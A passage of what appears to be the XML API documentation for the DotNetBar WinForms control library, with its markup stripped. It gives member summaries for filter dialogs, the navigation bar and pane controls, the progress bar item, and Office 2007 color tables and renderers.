'Clear' Filter Expression button label. + + + + + Identifies 'Clear' Filter Expression button label. + + + + + Identifies Filter DateTimePicked dialog 'Filter by relative date' text. + + + + + Identifies Filter DateTimePicker dialog 'Filter by specific date' text. + + + + + Identifies Filter DateTimePicker dialog 'Filter by date range' text. + + + + + Identifies Filter DateTimePicker dialog, ByRelativeDate combo entry 'Current Month' text. + + + + + Identifies Filter DateTimePicker dialog, ByRelativeDate combo entry 'Current Year' text. + + + + + Identifies Filter DateTimePicker dialog, ByRelativeDate combo entry 'Last Month Period' text. + + + + + Identifies Filter DateTimePicker dialog, ByRelativeDate combo entry 'Last 3 Month Period' text. + + + + + Identifies Filter DateTimePicker dialog, ByRelativeDate combo entry 'Last 6 Month Period' text. + + + + + Identifies Filter DateTimePicker dialog, ByRelativeDate combo entry 'Last 9 Month Period' text. + + + + + Identifies Filter DateTimePicker dialog, ByRelativeDate combo entry 'Last Year' text. + + + + + Identifies Filter DateTimePicker dialog, ByRelativeDate combo entry 'Last 5 Year Period' text. + + + + + Identifies Filter DateTimePicker dialog, ByRelativeDate combo entry 'Last 10 Year Period' text. + + + + + Identifies Filter expression evaluation error 'Expression error' text. + + + + + Identifies Filter expression evaluation error 'Missing parenthesis' text. + + + + + Identifies Filter expression evaluation error 'Missing quote' text. + + + + + Identifies Filter expression evaluation error 'Invalid number of arguments' text. + + + + + Identifies Filter expression evaluation error 'Invalid argument' text. + + + + + Identifies Filter expression evaluation error 'Invalid 'Empty' operation' text. + + + + + Identifies Filter expression evaluation error 'Invalid DateTime operation' text. + + + + + Identifies Filter expression evaluation error 'Invalid bool operation' text. + + + + + Identifies Filter expression evaluation error 'Invalid string operation' text. + + + + + Identifies Filter expression evaluation error 'Invalid numeric operation' text. + + + + + Identifies Filter expression evaluation error 'Invalid logical evaluation' text. + + + + + Identifies Filter expression evaluation error 'Undefined User function' text. + + + + + Identifies custom filter dialog title 'Custom Filter' text. + + + + + Identifies custom filter dialog 'New Filter' text. + + + + + Identifies custom filter dialog 'New' button text. + + + + + Identifies custom filter dialog 'Delete' button text. + + + + + Identifies custom filter dialog 'Filter Name' text. + + + + + Identifies custom filter dialog 'Description' text. + + + + + Identifies custom filter dialog 'Show in FilterPopup' text. + + + + + Identifies custom filter dialog title 'Custom Filter' text. + + + + + Identifies the default GroupBy WaterMarkText. + + + + + Occurs when DotNetBar is looking for translated text for one of the internal text that are + displayed on menus, toolbars and customize forms. You need to set Handled=true if you want + your custom text to be used instead of the built-in system value. + + + + + Represents an item that displays log information in list container. + + + + + Initializes a new instance of the LogItem class. + + + + + + Creates new instance of LogItem and assigns the name to it. + + Item name. + + + + Creates new instance of LogItem and assigns the name and text to it. + + Item name. + item text. + + + + Returns copy of the item. + + + + + Copies the ButtonItem specific properties to new instance of the item. + + New ButtonItem instance. + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Occurs when text markup link is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + Gets or sets the color of the control text body. + + + + + Gets or sets the color of the header text. + + + + + Gets or sets the image displayed on the log item. + + + + + Gets or sets the image position in relation to text. + + + + + Gets or sets the background color of the item. + + + + + Gets whether item supports text markup. Default is false. + + + + + Summary description for MdiWindowListItem. + + + + + Initializes the item and connects it to the MDI form so it can process the events. You should not call this method directly since this process is + automatically managed by the item. + + + + + Initializes the item and connects it to the MDI form so it can process the events. You should not call this method directly since this process is + automatically managed by the item. + + + + + Refresh the MDI Child form Icons that are displayed on window list items. + + + + + Gets or sets whether the MDI Child Window Icons are displayed on items. + + + + + Gets or sets maximum form caption length that will be displayed on each item. If caption length exceeds given value ... characters are added. + + + + + Gets whether item has been connected to the MDI form so it can process its events. + + + + + Gets or sets whether flicker associated with switching maximized Mdi child forms is attempted to eliminate. You should set this property to false if you encounter any painting problems with your Mdi child forms. + + + + + Gets or sets whether numbered access keys are created for MDI Child window menu items for first 9 items. Access keys will start with number 1 and go through 9. Default value is false + which indicates that access keys are not created. + + + + + Summary description for PopupWindow. + + + + + Return Sub Item at specified location + + + + + Gets or sets whether Key Tips (accelerator keys) for items are displayed on top of them. + + + + + Gets or sets the font that is used to display Key Tips (accelerator keys) when they are displayed. Default value is null which means + that control Font is used for Key Tips display. + + + + + Gets or sets the item default accessibility action will be performed on. + + + + + Gets or sets whether anti-alias smoothing is used while painting. Default value is false. + + + + + Indicates whether Tooltips are shown on Bars and menus. + + + + + Sets,Gets the side bar image structure. + + + + + Gets or sets the HotSubItem on the menu. This method is used internally by DotNetBar and should not be used in your application. + + + + + Summary description for MessageHandler. + + + + + Summary description for NativeFunctions. + + + + + For use with ChildWindowFromPointEx + + + + + Does not skip any child windows + + + + + Skips invisible child windows + + + + + Skips disabled child windows + + + + + Skips transparent child windows + + + + + Represents Outlook 2003 like Navigation Bar. + + + + + Default constructor. + + + + + Applies design-time defaults to control. + + + + + Increases the size of the navigation bar if possible by showing more buttons on the top. + + + + + Reduces the size of the navigation bar if possible by showing fewer buttons on the top. + + + + + Saves current visual layout of navigation bar control to XML based file. + + File name to save layout to. + + + + Saves current visual layout of navigation bar control to XmlElement. + + XmlElement object that will act as a parent for the layout definition. Exact same element should be passed into the LoadLayout method to load the layout. + + + + Loads navigation bar layout that was saved using SaveLayout method. Note that this method must be called after all items are created and added to the control. + + File to load layout from. + + + + Loads navigation bar layout that was saved using SaveLayout method. Note that this method must be called after all items are created and added to the control. + + Parent XML element that is used to load layout from. Note that this must be the same element that was passed into the SaveLayout method. + + + + Occurs after Options dialog which is used to customize control's content has closed by user using OK button. + + + + + Returns collection of items on a bar. + + + + + Gets or sets whether Configure Buttons button is visible. + + + + + Gets or sets whether Show More Buttons and Show Fewer Buttons menu items are visible on Configure buttons menu. + + + + + Gets or sets whether Navigation Pane Options menu item is visible on Configure buttons menu. + + + + + Gets or sets whether Navigation Pane Add/Remove Buttons menu item is visible on Configure buttons menu. + + + + + Gets or sets whether summary line is visible. + + + + + Gets or sets the padding in pixels at the top portion of the item. Height of each item will be increased by padding amount. + + + + + Gets or sets the padding in pixels for bottom portion of the item. Height of each item will be increased by padding amount. + + + + + Returns items container. + + + + + Returns reference to currently checked button. + + + + + Gets or sets whether images are automatically resized to size specified in ImageSizeSummaryLine when button is on the bottom summary line of navigation bar. + + + + + Gets or sets size of the image that will be use to resize images to when button button is on the bottom summary line of navigation bar and AutoSizeButtonImage=true. + + + + + Gets or sets the navigation bar definition string. + + + + + Gets/Sets the visual style for items and color scheme. + + + + + Indicates whether splitter on top of the navigation bar is visible. When activated splitter will let user change the height of the + control to show fewer or more buttons. It is recommended to have navigation bar docked to bottom (Dock=Bottom) to maintain + proper layout. + + + + + Container control for Navigation Bar. + + + + + Creates new instance of NavigationBarContainer. + + + + + Creates new instance of SideBarPanelItem and assigns the name to it. + + Item name. + + + + Creates new instance of SideBarPanelItem and assigns the name and text to it. + + Item name. + item text. + + + + Returns copy of SideBarPanelItem item. + + + + + Recalculates size of this container. + + + + + Increases the size of the navigation bar if possible by showing more buttons on the top. + + + + + Reduces the size of the navigation bar if possible by showing fewer buttons on the top. + + + + + Must be called by any sub item that implements the image when image has changed + + + + + Occurs after an item has been added to the container. This procedure is called on both item being added and the parent of the item. To distinguish between those two states check the item parameter. + + When occurring on the parent this will hold the reference to the item that has been added. When occurring on the item being added this will be null (Nothing). + + + + Occurs after an item has been removed. + + Item being removed. + + + + Returns index of the first item that is displayed in summary line or -1 if there is no item displayed in summary line. + + + + + Gets or sets a value indicating whether the item is expanded or not. For Popup items this would indicate whether the item is popped up or not. + + + + + Gets or sets whether Configure Buttons button is visible. + + + + + Gets or sets whether Show More Buttons and Show Fewer Buttons menu items are visible on Configure buttons menu. + + + + + Gets or sets whether Navigation Pane Options menu item is visible on Configure buttons menu. + + + + + Gets or sets whether Navigation Pane Add/Remove Buttons menu item is visible on Configure buttons menu. + + + + + Gets or sets the padding in pixels at the top portion of the item. Height of each item will be increased by padding amount. + + + + + Gets or sets the padding in pixels for bottom portion of the item. Height of each item will be increased by padding amount. + + + + + Gets or sets whether images are automatically resized to size specified in ImageSizeSummaryLine when button is on the bottom summary line of navigation bar. + + + + + Gets or sets size of the image that will be use to resize images to when button button is on the bottom summary line of navigation bar and AutoSizeButtonImage=true. + + + + + Gets or sets whether summary line is visible. + + + + + Delegate for OptionGroupChanging event. + + + + + Delegate for PanelPopup events. + + + + + Represents Outlook 2003 style navigation pane control. + + + + + Required designer variable. + + + + + Clean up any resources being used. + + + + + Applies any layout changes and repaint the control. + + + + + Returns Panel associated with button on navigation bar or null if panel cannot be found. + + Button on navigation bar. + + + + + Suspends normal layout logic. + + + + + Resumes normal layout logic. Optionally forces an immediate layout of pending layout requests. + + + + + Increases the size of the navigation bar if possible by showing more buttons on the top. + + + + + Reduces the size of the navigation bar if possible by showing fewer buttons on the top. + + + + + Saves current visual layout of navigation bar control to XML based file. + + File name to save layout to. + + + + Saves current visual layout of navigation bar control to XmlElement. + + XmlElement object that will act as a parent for the layout definition. Exact same element should be passed into the LoadLayout method to load the layout. + + + + Popup selected pane when control is collapsed. When control is collapsed (Expanded=false) currently selected pane is not visible + calling this method will popup selected pane and allow user access to it. Use PopupPaneVisible property + to check whether currently selected pane is displayed as popup. + + + + + Hides popup selected pane when control is collapsed and selected pane is displayed as popup. When control is collapsed (Expanded=false) + currently selected pane can be displayed as popup. Calling this method will hide the popup pane. Use PopupPaneVisible property + to check whether currently selected pane is displayed as popup. + + + + + Raises the PanelPopupClosed event. + + Provides event arguments. + + + + Loads navigation bar layout that was saved using SaveLayout method. Note that this method must be called after all items are created and added to the control. + + File to load layout from. + + + + Loads navigation bar layout that was saved using SaveLayout method. Note that this method must be called after all items are created and added to the control. + + Parent XML element that is used to load layout from. Note that this must be the same element that was passed into the SaveLayout method. + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Updates the color scheme on child panels to reflect the style of the NavigationBar control. Calling this method is necessary only if you manually + change the NavigationBar.ColorScheme property. + + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Occurs when Item is clicked. + + + + + Occurs when currently selected panel is about to change. + + + + + Occurs when control is looking for translated text for one of the internal text that are + displayed on menus, toolbars and customize forms. You need to set Handled=true if you want + your custom text to be used instead of the built-in system value. + + + + + Occurs before panel is displayed on popup when control is collapsed. You can use this event to modify default + size of the popup panel or cancel the popup of the panel. + + + + + Occurs after panel is displayed on popup. + + + + + Occurs after panel displayed on popup is closed. + + + + + Occurs before Expanded property is changed. You can cancel change of this property by setting Cancel=true on the event arguments. + + + + + Occurs after Expanded property has changed. You can handle ExpandedChanging event and have opportunity to cancel the change. + + + + + Occurs after Options dialog which is used to customize control's content has closed by user using OK button. + + + + + Returns the width of the expanded control if control is currently collapsed. + + + + + Returns collection containing buttons on navigation bar. + + + + + Gets or sets the height of the navigation bar part of the navigation pane control. + Navigation Bar height is automatically calculated based on the content. + Setting this property suggests desired height of the navigation bar but the actual height will be + calculated to ensure that complete buttons are visible so suggested and actual height might differ. + + + + + Returns reference to internal NavigationBar control. + + + + + Gets or sets size of the image that will be use to resize images to when button button is on the bottom summary line of navigation bar and AutoSizeButtonImage=true. + + + + + Gets or sets whether Configure Buttons button is visible. + + + + + Gets or sets whether Show More Buttons and Show Fewer Buttons menu items are visible on Configure buttons menu. + + + + + Gets or sets whether Navigation Pane Options menu item is visible on Configure buttons menu. + + + + + Gets or sets whether Navigation Pane Add/Remove Buttons menu item is visible on Configure buttons menu. + + + + + Returns reference to currently checked button. + + + + + Returns reference to currently selected panel. Panels are automatically switched when buttons are checked. + + + + + ImageList for images used on Items. + + + + + Returns reference to the PanelEx that is used to display title. + + + + + Gets or sets the padding in pixels at the top portion of the item. Height of each item will be increased by padding amount. + + + + + Gets or sets the padding in pixels for bottom portion of the item. Height of each item will be increased by padding amount. + + + + + Gets or sets whether images are automatically resized to size specified in ImageSizeSummaryLine when button is on the bottom summary line of navigation bar. + + + + + Gets or sets the navigation bar definition string. + + + + + Gets or sets whether anti-alias smoothing is used while painting. Default value is false. + + + + + Gets or sets animation time in milliseconds when control is expanded or collapsed. Default value is 100 miliseconds. You can set this to 0 (zero) to disable animation. + + + + + Gets or sets whether navigation pane can be collapsed. Default value is false. When set to true + expand/collapse button will be displayed in title so control can be reduced in size. + + + + + Gets or sets alignment of the expand button inside of title bar. + + + + + Gets or sets whether navigation pane is expanded. Default value is true. + When control is collapsed it is reduced in size so it consumes less space. + + + + + Gets the reference to the inner panel displaying Navigation Pane vertical text created when control is collapsed. + + + + + Gets or sets whether selected pane is displayed as popup when control is collapsed (Expanded=false). Using + navigation pane button that is displayed when control is collapsed user can popup or close currently selected pane without + expanding the control. You can use this property to do same from code as well as check whether selected pane is displayed as + popup. Note that control must be collapsed (Expanded=false) in order for this property to have any effect. + + + + + Gets/Sets the visual style for the control. Default style is Office 2003. + + + + + Represents event arguments for PanelChanging event. + + + + + Set to true to cancel changing of the panel. + + + + + Panel that will be selected if operation is not cancelled. + + + + + Panel that is currently selected and which will be de-selected if operation is not cancelled. + + + + + Default constructor. + + + + + Represents event arguments for BeforePanelPopup event. + + + + + Set to true to cancel popup of the panel. + + + + + Size and position of popup. You can modify this memeber to affect size and position of popup. + + + + + Default constructor. + + + + + Represents Panel on Navigation Pane control. + + + + + Gets or sets button associated with the pane on the panel when hosted on NavigationPane control. + + + + + Summary description for NavPaneOptions. + + + + + Required designer variable. + + + + + Clean up any resources being used. + + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Updates position of the title bar button to reflect any changes to the button that influence size of the button. + + + + + Occurs when Expanded/Collapse button is clicked. + + + + + Gets or sets whether expand button is visible or not. Default value is true. + + + + + Gets or sets alignment of the button. + + + + + Gets or sets whether text markup if it occupies less space than control provides uses the Style Alignment and LineAlignment properties to align the markup inside of the control. Default value is true. + + + + + Use as a popup container for DotNetBar objects. + + + + + Summary description for PopupContainer. + + + + + Summary description for PopupShadow. + + + + + Represents a progress bar item. + + + + + Creates new instance of ProgressBarItem. + + + + + Creates new instance of ProgressBarItem and assigns the name to it. + + Item name. + + + + Creates new instance of ProgressBarItem and assigns the name and text to it. + + Item name. + item text. + + + + Returns copy of the item. + + + + + Copies the ProgressBarItem specific properties to new instance of the item. + + New ProgressBarItem instance. + + + + Copies the ProgressBarItem specific properties to new instance of the item. + + New ProgressBarItem instance. + + + + Overriden. Draws the item. + + Target Graphics object. + + + + Overriden. Recalculates the size of the item. + + + + + Resets style to default value. Used by windows forms designer. + + + + + Advances the current position of the progress bar by the amount of the Step property. + + + + + Advances the current position of the progress bar by the specified amount. + + The amount by which to increment the progress bar's current position. + + + + Gets whether ChunkColor property should be serialized. + + + + + Resets the ChunkColor property to its default value. + + + + + Gets whether ChunkColor property should be serialized. + + + + + Resets the ChunkColor property to its default value. + + + + + Overloaded. Deserializes the Item from the XmlElement. + + Source XmlElement. + + + + Overloaded. Serializes the item and all sub-items into the XmlElement. + + XmlElement to serialize the item to. + + + + Gets or sets the item background style. + + + + + Specifies the background style of the item. + + + + + Gets or sets the maximum value of the range of the control. + + + + + Gets or sets the minimum value of the range of the control. + + + + + Gets or sets the current position of the progress bar. + + + + + Gets or sets the amount by which a call to the PerformStep method increases the current position of the progress bar. + + + + + Gets or sets whether the text inside the progress bar is displayed. + + + + + Gets or sets the width of the item in pixels. 0 value indicates the auto-sizing item based on the text contained in it. + + + + + Gets or sets the height of the label. 0 value indicates the auto-sizing item based on the text height. + + + + + Gets or sets the color of the progress chunk. + + + + + Gets or sets the target gradient color of the progress chunk. + + + + + Gets or sets the gradient angle of the progress chunk. + + + + + Indicates item's visiblity when on pop-up menu. + + + + + Indicates whether item was recently used. + + + + + Gets or sets the type of progress bar used to indicate progress. The Standard style displays the progress based on Minimum, Maximum and current Value. + The Marquee type is automatically moving progress bar that is used to indicate an ongoing operation for which the actual duration cannot be estimated. + + + + + Gets or sets the marquee animation speed in milliseconds. + + + + + Gets or sets the predefined color state table for progress bar. Color specified applies to items with Office 2007 style only. It does not have + any effect on other styles. You can use ColorTable to indicate the state of the operation that Progress Bar is tracking. Default value is eProgressBarItemColor.Normal. + + + + + Summary description for RemindForm. + + + + + Clean up any resources being used. + + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Represents color table for Bar objects in various states. + + + + + Gets or sets the colors for top part of toolbar background. + + + + + Gets or sets the colors for bottom part of toolbar background. + + + + + Gets or sets the color of the bottom border. + + + + + Gets or sets the popup toolbar background color. + + + + + Gets or sets the color of popup toolbar border. + + + + + Gets or sets the status bar top border color. + + + + + Gets or sets the status bar top border light color. + + + + + Gets or sets the alternative background colors for the status bar. + + + + + Represents color table for ButtonItem object. + + + + + Gets or sets the name of the color table. + + + + + Gets or sets the color table applied for button in default state. + + + + + Gets or sets the color table applied when mouse is over the button. + + + + + Gets or sets the color table applied when mouse is over the buttons inactive split part. Applies to split button appearance only. + + + + + Gets or sets the color table applied when mouse is pressed over the button. + + + + + Gets or sets the color table applied when mouse is pressed over the button. + + + + + Gets or sets the color table applied when button is expanded. + + + + + Gets or sets the color table applied when cursor is over button on a menu. + + + + + Represents typed collection of Office2007ButtonItemColorTable type. + + + + Creates new instance of the class. + + + + Adds new object to the collection. + + Object to add. + Index of newly added object. + + + + Inserts new object into the collection. + + Position of the object. + Object to insert. + + + + Returns index of the object inside of the collection. + + Reference to the object. + Index of the object. + + + + Returns whether collection contains specified object. + + Object to look for. + true if object is part of the collection, otherwise false. + + + + Returns whether collection contains object with specified name. + + Name of the object to look for + true if object with given name is part of the collection otherwise false + + + + Removes specified object from the collection. + + + + + + Copies collection into the specified array. + + Array to copy collection to. + Starting index. + + + + Copies contained items to the Office2007ButtonItemColorTable array. + + Array to copy to. + + + + Returns reference to the object in collection based on it's index. + + + + + Returns reference to the object in collection based on it's index. + + + + + Represents a color table for ButtonItem in certain state like but not limited to mouse over, checked or pressed. + + + + + Gets or sets the outer border colors. + + + + + Gets or sets the outer border width. Default is 1. + + + + + Gets or sets the inner border colors. + + + + + Gets or sets top part background colors. + + + + + Gets or sets highlight colors for the top background part. + + + + + Gets or sets bottom part background colors. + + + + + Gets or sets highlight colors for the bottom background part. + + + + + Gets or sets the split border colors that divides button text and image from expand part of the button. + + + + + Gets or sets the split border light colors that divides button text and image from expand part of the button. + + + + + Gets or sets the text color. + + + + + Gets or sets the background color of the expand sign. + + + + + Gets or sets the outline light color of the expand sign. + + + + + Gets or sets the single gradient background for the button. When specified it is used instead of TopBackground and BottomBackground for rendering. + + + + + Represent the color table for the CheckBoxItem. + + + + + Gets or sets the colors for the item in default state. + + + + + Gets or sets the colors for the item when mouse is over the item. + + + + + Gets or sets the colors for the item when mouse is pressed over the item. + + + + + Gets or sets the colors for the item when item is disabled. + + + + + Defines the colors for the single CheckBoxItem state. + + + + + Gets or sets the background colors of the check box. + + + + + Gets or sets the color of the check border. + + + + + Gets or sets the inner color of check box border. + + + + + Gets or sets the inner background color of check box. + + + + + Gets or sets the color of the check sign that is drawn when item is checked. + + + + + Gets or sets the text color. + + + + + Defines color table for ColorItem. + + + + + Gets or sets the border that is drawn around each individual color item or color item group. + + + + + Gets or sets the inner mouse over color. + + + + + Gets or sets the outer mouse over color. + + + + + Represents the painter for ColorItem in Office 2007 style + + + + + Gets or sets color table used by renderer. + + + + + Defines the color scheme type for the Office2007ColorTable. + + + + + Blue color scheme. + + + + + Black color scheme. + + + + + Silver color scheme. + + + + + Windows Vista Glass inspired color scheme. + + + + + Defines the delegate which retrieves the color for specific integer value. + + color represented as integer. + Reference to Color object. + + + + Defines contextual label colors. + + + + + Initializes a new instance of the LabelColors structure. + + + + + + + Initializes ColorScheme object with the black color scheme. + + ColorScheme object to initialize. + + + + Defines the color table for the combo box. + + + + + Gets or sets the color for combo box in default state. + + + + + Gets or sets the color for standalone combo box in default state. Standalone combo box is a control not used by ComboBoxItem. + + + + + Gets or sets the colors when mouse is over the control. + + + + + Gets or sets the colors when control is dropped down. + + + + + Defines the combo box colors for a particular state. + + + + + Gets or sets the border color. + + + + + Gets or sets the background color. + + + + + Gets or sets the outer expand button border. + + + + + Gets or sets the inner expand button border. + + + + + Gets or sets the background color of the expand button. + + + + + Gets or sets the foreground color of the expand button. + + + + + Defines color table for the Office 2007 style DataGridView control. + + + + + Gets or sets grid background color. + + + + + Gets or sets default cell color. + + + + + Gets or sets default cell text color. + + + + + Gets or sets the background color for the column headers in normal state. + + + + + Gets or sets the normal column text color. + + + + + Gets or sets the column header border color. + + + + + Gets or sets the background color for the column headers in mouse over state. + + + + + Gets or sets the column header border color when mouse is over the column. + + + + + Gets or sets the selected column header text color. + + + + + Gets or sets the background color for the column headers in selected state. + + + + + Gets or sets the border color for the column headers in selected state. + + + + + Gets or sets the background color for the column headers in selected mouse over state. + + + + + Gets or sets the border color for the column headers in selected mouse over state. + + + + + Gets or sets the background color for the column headers in pressed state. + + + + + Gets or sets the border color for the column headers in pressed state. + + + + + Gets or sets the column header foreground color. + + + + + Gets or sets the background color for row marker background. + + + + + Gets or sets the border color for row marker. + + + + + Gets or sets the background color for row marker background. + + + + + Gets or sets the border color for row marker. + + + + + Gets or sets the background color for row marker background. + + + + + Gets or sets the border color for row marker. + + + + + Gets or sets the background color for row marker background. + + + + + Gets or sets the border color for row marker. + + + + + Gets or sets the background color for row marker background. + + + + + Gets or sets the border color for row marker. + + + + + Gets or sets the color of the grid lines. + + + + + Gets or sets the background color of selector cell usually located in top-left corner. + + + + + Gets or sets the border color of selector cell usually located in top-left corner. + + + + + Gets or sets the light border color of selector cell usually located in top-left corner. + + + + + Gets or sets the dark border color of selector cell usually located in top-left corner. + + + + + Gets or sets the sign color of selector cell usually located in top-left corner. + + + + + Gets or sets the background color of selector cell usually located in top-left corner. + + + + + Gets or sets the border color of selector cell usually located in top-left corner. + + + + + Gets or sets the light border color of selector cell usually located in top-left corner. + + + + + Gets or sets the dark border color of selector cell usually located in top-left corner. + + + + + Gets or sets the sign color of selector cell usually located in top-left corner. + + + + + Defines color table for the Dialog Launcher button. + + + + + Gets or sets the colors for the default state. + + + + + Gets or sets the colors for the mouse over state. + + + + + Gets or sets the colors for the pressed state. + + + + + Defines the color table for dialog launcher state. + + + + + Gets or sets the color of dialog launcher symbol. + + + + + Gets or sets the shade color of dialog launcher symbol. + + + + + Gets or sets the background color for the top part of the element. + + + + + Gets or sets the background color for the bottom part of the element. + + + + + Gets or sets the outer border colors. + + + + + Gets or sets the inner border colors. + + + + + Defines the color table for all states of Office 2007 style form caption. + + + + + Gets or sets the color table for caption in active state. + + + + + Gets or sets the color table for caption in inactive state. + + + + + Gets or sets the background color of the form. + + + + + Gets or sets the text color of the form. + + + + + Gets or sets the MDI Client Background image. + + + + + Defines color table for the Office 2007 style Form caption color state. + + + + + Gets or sets the colors for the top part of the background. + + + + + Gets or sets the colors for the bottom part of the background. + + + + + Gets or sets the array of colors used to draw the border that separates the form caption and the form content. Applies only to the Office2007Form rendering. + + + + + Gets or sets the color of caption text. + + + + + Gets or sets the color of caption extra text that is appended to the caption. + + + + + Gets or sets the array of colors that represents the border colors. Outer border is at index 0. + + + + + Represents the color table used by the Gallery container. + + + + + Gets or sets the background color of the Gallery Group label when gallery is displayed on popup. + + + + + Gets or sets the text color of the Gallery Group label when gallery is displayed on popup. + + + + + Gets or sets the border color of the Gallery Group label when gallery is displayed on popup. + + + + + Represents color table for ItemContainer object with BeginGroup set to true. + + + + + Gets or sets the outer border colors. + + + + + Gets or sets the inner border colors. + + + + + Gets or sets the top background colors. + + + + + Gets or sets the bottom background colors. + + + + + Gets or sets the dark color of item devider for items inside of the ItemContainer. + + + + + Gets or sets the light color of item devider for items inside of the ItemContainer. + + + + + Represents the color table for key tips. + + + + + Gets or sets KeyTip Text color. + + + + + Gets or sets KeyTip border color. + + + + + Gets or sets KeyTip Background color. + + + + + Represents color table for ListViewEx control. + + + + + Gets or sets the background color of the columns. + + + + + Gets or sets the color of the column separator. + + + + + Gets or sets the color of the column text. + + + + + Gets or sets the color of the control border. + + + + + Gets or sets the background colors for the selected item. + + + + + Gets or sets the color of the selected item border that is draw on top and bottom of the selection. + + + + + Gets or sets the text color for selected item. + + + + + Defines the color table for the menus. + + + + + Gets or sets the menu background colors. + + + + + Gets or sets the menu side background colors. + + + + + Gets or sets the menu side background colors for the items that were not recently used. + + + + + Gets or sets the menu border background colors. + + + + + Gets or sets the menu side border. + + + + + Gets or sets the light menu side border. + + + + + Gets or sets the background color blend for the special file menu background. + + + + + Gets or sets the two column container border color. + + + + + Gets or sets the two column container light border color. + + + + + Gets or sets the background color of first file column. + + + + + Gets or sets the border color of first file column. + + + + + Gets or sets the background color of first file column. + + + + + Gets or sets the background color blend for the bottom container on file menu. + + + + + Defines the color table for the NavigationPane control. + + + + + Gets or sets the background color collection blend for the button background. + + + + + Gets or sets color table used by renderer. + + + + + Defines color table for the Office 2007 style ProgressBarItem. + + + + + Gets or sets the background color collection blend for the item background. + + + + + Gets or sets the outer border color. + + + + + Gets or sets the inner border color. + + + + + Gets or sets the color collection blend for the current progress part of the item. + + + + + Gets or sets the color collection blend for overlay for the current progress of the item. + + + + + Gets or sets the color collection blend of shadow for the current progress of the item. + + + + + Defines abstract class for the ProgressBarItem painter. + + + + + Gets or sets color table used by renderer. + + + + + Defines painter for the Office 2007 style QAT Customize Item. + + + + + Defines base class for QAT customize item painter. + + + + + Gets or sets color table used by renderer. + + + + + Defines Office 2007 style QAT painter. + + + + + Defines base class for QAT overflow item painter. + + + + + Gets or sets color table used by renderer. + + + + + Defines the color table for the quick access toolbar in all states. + + + + + Gets or sets the colors for the quick access toolbar background when hosted in ribbon control caption and form is active + or the background colors when toolbar is hosted below the ribbon control. + + + + + Gets or sets the colors for the quick access toolbar background when hosted in ribbon control caption and form is inactive + + + + + Gets or sets the colors for the quick access toolbar background when positioned below the ribbon bar. + + + + + Gets or sets the background color of Customize Quick Access Toolbar menu label displayed on customize quick access toolbar menu. + + + + + Gets or sets the text color of Customize Quick Access Toolbar menu label displayed on customize quick access toolbar menu. + + + + + Defines the color table for the Quick Access toolbar. + + + + + Gets or sets the colors of the top background. + + + + + Gets or sets the colors of the bottom background. + + + + + Gets or sets the outer border color. + + + + + Gets or sets the middle border color. + + + + + Gets or sets the inner border color. + + + + + Gets or sets the border when Windows Vista Glass is enabled. + + + + + Represents Office 2007 Control renderer. + + + + + Represents bases class that defines a renderer. + + + + + Raises RenderKeyTips event. + + Provides context information. + + + + Draws KeyTip for an object. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderKeyTips method so events can occur. + + Provides context information. + + + + Raises RenderRibbonTabGroup event. + + Provides context information. + + + + Draws ribbon tab group. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderRibbonTabGroup method so events can occur. + + Provides context information. + + + + Raises RenderItemContainer event. + + Provides context information. + + + + Draws the separator for an item inside of item container. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderItemContainerSeparator method so events can occur. + + Provides context information. + + + + Raises RenderItemContainer event. + + Provides context information. + + + + Draws item container. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderItemContainer method so events can occur. + + Provides context information. + + + + Raises RenderButtonItem event. + + Provides context information. + + + + Draws ButtonItem. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderButtonItem method so events can occur. + + Provides context information. + + + + Raises RenderRibbonTabItem event. + + Provides context information. + + + + Draws RibbonTabItem. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderRibbonTabItem method so events can occur. + + Provides context information. + + + + Raises RenderToolbarBackground event. + + Provides context information. + + + + Draws docked or floating toolbar background. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderToolbarBackground method so events can occur. + + Provides context information. + + + + Raises RenderPopupToolbarBackground event. + + Provides context information. + + + + Draws popup toolbar background. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderPopupToolbarBackground method so events can occur. + + Provides context information. + + + + Raises RenderRibbonDialogLauncher event. + + Provides context information. + + + + Draws ribbon bar dialog launcher button. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderRibbonDialogLauncher method so events can occur. + + Provides context information. + + + + Raises RenderColorItem event event. + + Provides context information. + + + + Draws ColorItem. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderColorItem method so events can occur. + + Provides context information. + + + + Raises RenderRibbonControlBackground event event. + + Provides context information. + + + + Draws the background of the Ribbon Control. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderRibbonControlBackground method so events can occur. + + Provides context information. + + + + Raises RenderSystemCaptionItem event event. + + Provides context information. + + + + Draws the SystemCaptionItem. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderSystemCaptionItem method so events can occur. + + Provides context information. + + + + Raises RenderRibbonFormCaptionText event event. + + Provides context information. + + + + Draws the form caption text for the Ribbon Control. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderRibbonFormCaptionText method so events can occur. + + Provides context information. + + + + Raises RenderQuickAccessToolbarBackground event event. + + Provides context information. + + 